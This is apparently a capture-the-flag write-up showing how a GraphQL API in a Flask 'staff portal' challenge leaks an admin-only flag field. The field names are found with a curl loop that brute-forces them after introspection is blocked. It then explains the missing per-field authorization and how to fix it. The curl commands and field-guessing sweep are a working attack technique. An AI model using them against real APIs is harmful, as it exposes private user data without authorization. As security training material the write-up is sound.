Arclight 1: GraphQL Excessive Data Exposure

Flag: KPMG_CTF{h1dd3n_f13ld_n0t_s0_h1dd3n}

Target: https://kicyber-5bda688c8057-arclight1-0-0.chals.io Category: API (GraphQL) / excessive data exposure (broken property-level authorization) Hint (from KPMG CTF): “Every answer the directory gives you is one the UI decided you could see. The UI doesn’t decide what the API returns. Ask it properly and see what falls out.”

Overview

Arclight is a Flask “staff portal”. After registering and logging in you get a dashboard whose sections (Directory, Projects, Travel, Developer) each fetch /category/<name> and render tiny, sanitised JSON. The “Developer” section leaks the real target: an internal GraphQL API at /graphql, also reachable through a /console query page.

The GraphQL users query only appears to expose id, username, email, because that’s the selection set the UI hardcodes. The resolver, however, returns any field you select. Introspection is blocked for the user role, but the field-level data is not access controlled, so simply adding a flag field to the query dumps the admin’s flag. This is the classic GraphQL excessive-data-exposure / broken property-level authorization flaw the hint describes: the UI chooses what to show, the API doesn’t choose what to return.

Recon

1. App surface

base="https://kicyber-5bda688c8057-arclight1-0-0.chals.io"
curl -s -i "$base/" | head -8

Output: 302 FOUND → Location: /login, served by Werkzeug/3.1.9 Python/3.11.17 (Flask). /login and /register are standard username/password forms.

U="hunter_25119"; P="<password>"
curl -s -c cj.txt -b cj.txt -X POST "$base/register" --data "username=$U&password=$P" -o /dev/null
curl -s -i -c cj.txt -b cj.txt -X POST "$base/login" --data "username=$U&password=$P" | grep -i set-cookie

Output:

Set-Cookie: session=eyJyb2xlIjoidXNlciIsInVzZXJuYW1lIjoiaHVudGVyXzI1MTE5In0.aspa3A.Vk-gOfYaA_p9JBZjCQTmbDeevbY; HttpOnly; Path=/

The Flask session cookie base64-decodes to {"role":"user","username":"hunter_25119"}, so there is a privileged role somewhere, but (as we’ll see) we never need to forge it.

3. Dashboard → find the API

curl -s -b cj.txt "$base/dashboard"

The page’s JS calls fetch('/category/' + name). Pulling each category:

for c in directory projects travel developer; do
  echo "== $c =="; curl -s -b cj.txt "$base/category/$c"; echo
done

Output:

== directory ==  [{"entries":5,"team":"Staff Directory"}]
== projects ==   [{"project":"Helios","status":"active"}]
== travel ==     [{"place":"Lisbon","status":"booked"}]
== developer ==  [{"note":"Internal directory API (GraphQL) is live at /graphql"}]

The developer category hands us the real endpoint: /graphql. The /console page is a UI for it and shows the default query { users { id username email } }.

The API returns more than the UI asks for

4. Baseline query (what the UI shows)

curl -s -b cj.txt -X POST "$base/graphql" -H 'Content-Type: application/json' \
  --data '{"query":"{ users { id username email } }"}'

Output:

{"users":[
 {"email":"k.mercer@arclight.example","id":1,"username":"k.mercer"},
 {"email":"t.okafor@arclight.example","id":2,"username":"t.okafor"},
 {"email":"j.vance@arclight.example","id":3,"username":"j.vance"},
 {"email":"s.dial@arclight.example","id":4,"username":"s.dial"},
 {"email":"r.noe@arclight.example","id":5,"username":"r.noe"}]}

5. Introspection is blocked: probe fields instead

curl -s -b cj.txt -X POST "$base/graphql" -H 'Content-Type: application/json' \
  --data '{"query":"{ __schema { types { name } } }"}'

Output:

{"error":"Introspection is not allowed for your role"}

Introspection is gated by role, but individual fields are not. Guess field names on the User type; GraphQL’s error messages even suggest valid ones (“Did you mean ‘role’?”). A quick sweep:

for f in role password secret flag token notes phone ssn department salary is_admin api_key; do
  r=$(curl -s -b cj.txt -X POST "$base/graphql" -H 'Content-Type: application/json' \
        --data "{\"query\":\"{ users { $f } }\"}")
  echo "[$f] $r"
done

Output (abridged):

[role]     {"users":[{"role":"admin"},{"role":"user"},{"role":"user"},{"role":"user"},{"role":"user"}]}
[password] ["Cannot query field 'password' on type 'User'. ..."]
[secret]   ["Cannot query field 'secret' on type 'User'. ..."]
[flag]     {"users":[{"flag":"KPMG_CTF{h1dd3n_f13ld_n0t_s0_h1dd3n}"},{"flag":null},{"flag":null},{"flag":null},{"flag":null}]}
[token]    ["Cannot query field 'token' on type 'User'. Did you mean 'role'? ..."]
...

role is a real (UI-hidden) field (user 1 k.mercer is the admin), and a flag field exists on User, exposed to our plain user session.

6. Pull the flag (SOLVED)

curl -s -b cj.txt -X POST "$base/graphql" -H 'Content-Type: application/json' \
  --data '{"query":"{ users { id username role flag } }"}'

Output:

{"users":[
 {"flag":"KPMG_CTF{h1dd3n_f13ld_n0t_s0_h1dd3n}","id":1,"role":"admin","username":"k.mercer"},
 {"flag":null,"id":2,"role":"user","username":"t.okafor"},
 {"flag":null,"id":3,"role":"user","username":"j.vance"},
 {"flag":null,"id":4,"role":"user","username":"s.dial"},
 {"flag":null,"id":5,"role":"user","username":"r.noe"}]}

Flag: KPMG_CTF{h1dd3n_f13ld_n0t_s0_h1dd3n}

Why it works

  • The dashboard only ever requests { id username email }, so role and flag never appear in the rendered JSON. That filtering lives entirely in the client.
  • The GraphQL resolver returns whatever fields the client selects. There is no per-field authorization: a user-role session can read flag just by naming it.
  • Blocking introspection is security theatre here: it only hides the schema, it does not protect the data. Field names are guessable (and GraphQL’s “Did you mean…” hints help), so the hidden fields are trivially discoverable.

Root cause & fix

Textbook excessive data exposure / broken object-property-level authorization (OWASP API3 + API1):

  • Authorize per field, not per UI. Sensitive fields (flag, role, and anything like password/ssn) must be gated server-side in the resolver based on the caller’s role, not left to the front-end’s selection set.
  • Disabling introspection ≠ access control. Keep it off in prod if you like, but it is not a substitute for authorizing the actual data; attackers brute-force field names.
  • Don’t co-locate secrets with directory data. The flag should never be a column the public users query can reach.

Takeaways

  • When a hint distinguishes “what the UI shows” from “what the API returns,” attack the API directly and expand the selection set; the client’s query is only a suggestion.
  • Follow the breadcrumbs: a benign “Developer/notes” section revealed /graphql.
  • Introspection blocked? Field-guess. GraphQL error messages leak valid field names (“Did you mean ‘role’?”), and common names (role, flag, secret, token) are quick wins.